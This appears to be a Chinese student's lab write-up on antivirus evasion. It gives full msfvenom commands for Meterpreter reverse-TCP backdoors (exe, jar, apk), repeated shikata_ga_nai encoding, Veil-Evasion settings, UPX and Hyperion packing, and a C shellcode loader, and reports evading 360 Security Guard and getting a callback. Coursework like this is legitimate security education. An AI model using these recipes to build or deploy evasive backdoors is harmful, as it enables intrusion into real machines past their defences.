zoukankan      html  css  js  c++  java
  • 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 实验任务

    • 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)

    • 2 通过组合应用各种技术实现恶意代码免杀(1分)
      (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

    • 3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)

    - 基础问题回答

    (1)杀软是如何检测出恶意代码的?

    一种检测是检测特征码,就是检测该代码是否含有恶意代码都含有的一段代码,只要包含这段代码就被认定是恶意代码;
    还有一种是检测该代码执行时是否有异常的行为,比如打开异常端口、关闭防火墙等,若有这些异常行为,则认定为恶意代码。

    (2)免杀是做什么?

    免杀就是通过一些手段对恶意代码进行伪装,达到不被杀毒软件检测出来的目的。

    (3)免杀的基本方法有哪些?

    有msfvenom编码、使用veil-evasion等重写恶意代码、利用shellcode生成可执行文件、加壳等方法。

    - 实验过程

    - 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

    - 使用msf编码器msfvenom生成后门程序

    • 实验二中生成过一个后门程序,hx_backdoor.exe,把它放到virscan网站中扫描;

    28款杀软报出了病毒,因此不加处理的恶意代码能被绝大多数杀毒软件识别。

    • 使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=192.168.153.128 LPORT=5206 -f exe > met-encoded10.exe指令进行十次编码;

    • 将生成的后门程序使用virscan进行扫描;

    多次编码对免杀并没有太大效果。因为虽然进行多次编码,但恶意代码的特征码仍存在,因此依旧能被绝大多数杀毒软件检测出来。

    • 使用msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.153.128 LPORT=5206 x> 20165206_backdoor_java.jar指令,生成jar类型的后门程序。

    • 使用msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.153.128 lport=5206 x> 20165206_backdoor.apk指令,生成Android后门程序,此时其为安装包。

    - 使用veil-evasion生成后门程序

    • 我在安装veil时,卡在展开对象3,4个小时,换了其他安装方式依然不能解决,所以最终是拷的别人安装好veil的虚拟机。

    • 使用veil指令,启用veil;

    • 使用use evasion指令,进入veil-evasion;

    • 使用use c/meterpreter/rev_tcp.py指令,进入配置界面;

    • 使用set LHOST 192.168.153.133指令和set LPORT 5206指令,设置反弹连接IP和端口;

    • 输入generate指令,生成文件,再输入生成的playload的名字:playload5206;

    • 找到生成的playload5206.exe,并使用virscan进行扫描。

    - 使用加壳工具生成后门程序

    - 压缩壳
    • 输入upx playload5206.exe -o playload5206_upx.exe指令,给生成的后门程序加壳;

    • 将生成的playload5206_upx.exe使用virscan进行扫描。

    - 加密壳
    • 进入目录/usr/share/windows-binaries/hyperion/中,输入wine hyperion.exe -v playload5206.exe playload5206_hyperion.exe指令,给生成的后门程序加壳;

    • 将生成的playload5206_hyperion.exe使用virscan进行扫描。

    - 使用shellcode编程生成后门程序

    • 输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.153.133 LPORT=5206 -f c指令,生成一段shellcode;

    • 创建20165206.c文件,在其中输入:

    unsigned char buf[] = 
    "粘贴之前用msf生成的buf"
    
    int main()
    {
        int (*func)() = (int(*)())buf;
        func();
    }
    
    • 输入i686-w64-mingw32-g++ shellcode5206.c -o shellcode5206.exe指令,编译运行;

    • 将生成的shellcode5206.exe使用virscan进行扫描。

    - 通过组合应用各种技术实现恶意代码免杀(1分)

    • 使用MSF meterpreter生成shellcode,对生成的文件使用UPX加壳处理,尝试实现免杀。

    • Windows上的杀毒软件为:360安全卫士 版本11

    • 实现免杀的结果图:

    • 回连成功的结果图:

    - 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

    • 对方电脑的杀毒软件为:360安全卫士 版本11

    • 免杀的结果图:

    • 回连成功的结果图:

    - 实验过程中遇到的问题

    • 问题:在安装veil时,停留在此界面3个小时,仍未完成。上网查询也没找到原因和解决方案。后来询问同学,觉得问题可能出现kali的版本上,下载最新版本的或能解决问题。

    - 开启杀软能绝对防止电脑中恶意代码吗?

    通过这次实验,发现开启杀软并不能绝对防止电脑中恶意病毒。只是简单的通过制作shellcode、加壳等技术手段的综合,就可以达到免杀的目的。对于一些技术高的黑客,会使用一些更加复杂和高级的手段,逃过杀毒软件的查杀更是很容易的。

    - 实践总结与体会

    这次实验让我学习到了很多,初步了解了免杀后门程序以及它的制作,我也实现了制作免杀的后门程序。虽然这次实验相对而言并没有那么的复杂,但却是进一步学习免杀的基础,很有意义。同时,我也通过这次实验意识到,对于很多程序员而言,逃过杀毒软件的查杀植入后门并不是件难事,因此以后下载软件要尽量从正版源下载,减少被植入后门的几率。

  • 相关阅读:
    DB开发之oracle存储过程
    DB开发之mysql
    DB开发之oracle
    DB开发之postgresql
    Object-C开发之instancetype和id关键字
    Linux 学习笔记
    Java开发之JDK配置
    Android开发在路上:少去踩坑,多走捷径
    C/C++之Qt正则表达式
    Linux 安全配置指南
  • 原文地址:https://www.cnblogs.com/brs666/p/10621236.html
Copyright © 2011-2022 走看看